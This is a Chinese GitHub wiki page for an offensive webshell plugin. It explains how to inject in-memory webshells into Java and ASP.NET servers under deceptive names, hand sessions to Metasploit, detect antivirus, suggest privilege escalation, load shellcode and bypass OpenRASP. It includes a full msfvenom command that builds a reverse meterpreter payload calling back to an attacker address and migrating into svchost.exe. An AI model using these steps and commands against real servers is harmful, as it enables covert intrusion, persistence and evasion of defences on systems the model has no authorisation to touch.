-
Notifications
You must be signed in to change notification settings - Fork 161
Home
获取当前服务端信息。
支持类型:php/jsp/aspx
跟MSF联动
支持类型:php/jsp/aspx
Payload目前支持以下类型:
-
java/meterpreter/reverse_tcp
-
java/shell/reverse_tcp
-
java/meterpreter/bind_tcp
-
java/shell/bind_tcp
-
php/meterpreter/reverse_tcp
-
php/shell/reverse_tcp
-
php/meterpreter/bind_tcp
-
php/shell/bind_tcp
-
windows/meterpreter/reverse_tcp
-
windows/x64/meterpreter/reverse_tcp
一键打入内存Webshell由于时间仓促,目前仅支持Servlet型内存马,支持Servlet/Filter型内存马
支持类型:jsp/aspx
可打入的内存马种类:
-
AntSword
-
Behinder
-
Godzilla-Base64
-
Neo-reGeorg 组件名称为注册的组件名称,可以起一个具有迷惑性的名字来隐藏自己。
例如:
打入Godzilla-Base64内存马
在哥斯拉中连接成功
aspx内存马主要原理是利用了asp.net下虚拟文件的特性
通过ASP.NET的VirtualPathProvider类能够创建虚拟文件,实现以下效果:虚拟文件不存在于服务器的文件系统,但是能够对其动态编译并提供访问服务。ysoserial.net的GhostWebShell.cs提供了一种可供学习的利用思路。
可以直接定义要注入的shell内容,默认为普通一句话,当然也可以改成冰蝎哥斯拉之类的。
注入内存马
连接的时候可以把注入的路径后面加点随机字符串,当作一个文件
也可以把注入的路径当作一个目录,在目录下面填写随机文件名
要注意的是必须要用.aspx结尾,因为映射的是一个文件,所以要用指定的后缀才能解析。
暂时不支持通配符模式
获取当前注入的内存马列表,并卸载指定内存马。
支持类型:jsp/aspx
默认支持Tomcat/Spring
- 获取所有组件(Servlet+Filter)
- 卸载指定Servlet
- 卸载指定Filter
从1.4版本开始,内存马管理模块核心payload移植了tomcat-memshell-killer的代码,界面更加清晰美观。
还可以贴心的判断有没有其他人的内存马
卸载内存马填入对应组件名称即可
VirtualPathProvider主要用到了类似单向链表的结构,不像Tomcat的内存马有一个Config去定义。获取所有组件需要遍历链表,卸载的时候需要修改当前指针指向来删除节点。
卸载指定VPP
再次获取组件发现内存马已经被删除。
剩下的这个System.Web.Hosting.MapPathBasedVirtualPathProvider是IIS默认组件,删除之后网站会崩,请慎重操作。
数据来源是key师傅的项目:avList
通过tasklist /svc
获取当前进程列表,识别出其中的杀软。
支持类型:php/jsp/aspx
目前支持手动跟自动两种获取方式:
- 自动获取
自动执行
tasklist /svc
并分析回显数据。 - 手动获取
手动输入
tasklist /svc
的结果。
通过systeminfo
来获取补丁信息,从而给出提权建议。
支持类型:php/jsp/aspx
同样支持手动跟自动两种获取方式。
获取目标当前屏幕截图。
支持类型:jsp/aspx
加载shellcode至内存运行。(shellcode为hex格式,且不能有多余空格或换行)
支持类型:aspx/jsp
以msf为例:msfvenom生成hex格式的shellcode
粘贴进输入框,点击exploit
收到Meterpreter会话
内置两种加载方式,使用之前请务必认真阅读使用说明,否则可能直接将Java进程打挂。
需要注意两点:
- 使用MSF需要加上
PrependMigrate=true PrependMigrateProc=xxxx.exe
参数,自动迁移到新的进程,否则会在migrate/exit的时候把Java进程给干掉,导致网站瘫痪。例如:msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.88.129 LPORT=8888 PrependMigrate=true PrependMigrateProc=svchost.exe -f hex
- JNA方式只需要X86类型的ShellCode即可,而Attach方式需要根据目标Java位数来选择对应的ShellCode。
利用第三方库JNA进行ShellCode的加载。
适用范围:JDK>=1.5
-
首先利用Jar加载器将
ShellCodeLoader.jar
上传到目标服务器目录并加载。 -
使用MSF或者CS生成x86类型的shellcode,并开启监听。
-
在ShellCode加载器模块,输入hex或者java格式的shellcode,且不能有多余换行跟空格。
-
点击exploit,等待返回回话。
模拟java agent注入过程来实现Shellcode的加载。这个native方法是jdk自带的,并且经过oracle签名的,免杀效果更好。
适用范围:JDK>=1.6
-
基本信息,exploit,Ctrl+F 搜索
sun.arch.data.model
,查看java位数 -
根据java位数生成对应位数的shellcode,并开启监听。
-
在ShellCode加载器模块,输入hex或者java格式的shellcode,且不能有多余换行跟空格。
-
点击exploit,等待返回回话。
加载Jar到JVM内存中。可用于上传数据库驱动等。
支持类型:jsp
直接通过HTTP包将Jar打入目标内存,仅需选择本地需要上传的Jar文件即可,期间文件不落地。但是Tomcat默认POST最大上传大小为2M,如果超过了此大小请选择手动上传模式。
先手动将Jar上传到目标服务器上,然后通过路径加载。
借鉴自哥斯拉的插件:Godzilla-BypassOpenRasp
一键绕过OpenRASP
支持类型:jsp
目标安装有OpenRASP且开启命令执行拦截
exploit!
再次运行,即可执行命令
执行自定义代码,方便调试。
支持类型:php/jsp/aspx
在JSP下需要填写base64格式的编译后的class文件
格式按照https://github.com/AntSwordProject/AntSword-JSP-Template项目去编写即可,这里以baseinfo为例:
aspx下填写jscript代码。
如果想要调用C#的payload看我博客这篇文章:https://yzddmr6.tk/posts/jscript-load-csharp-assembly/
直接写php代码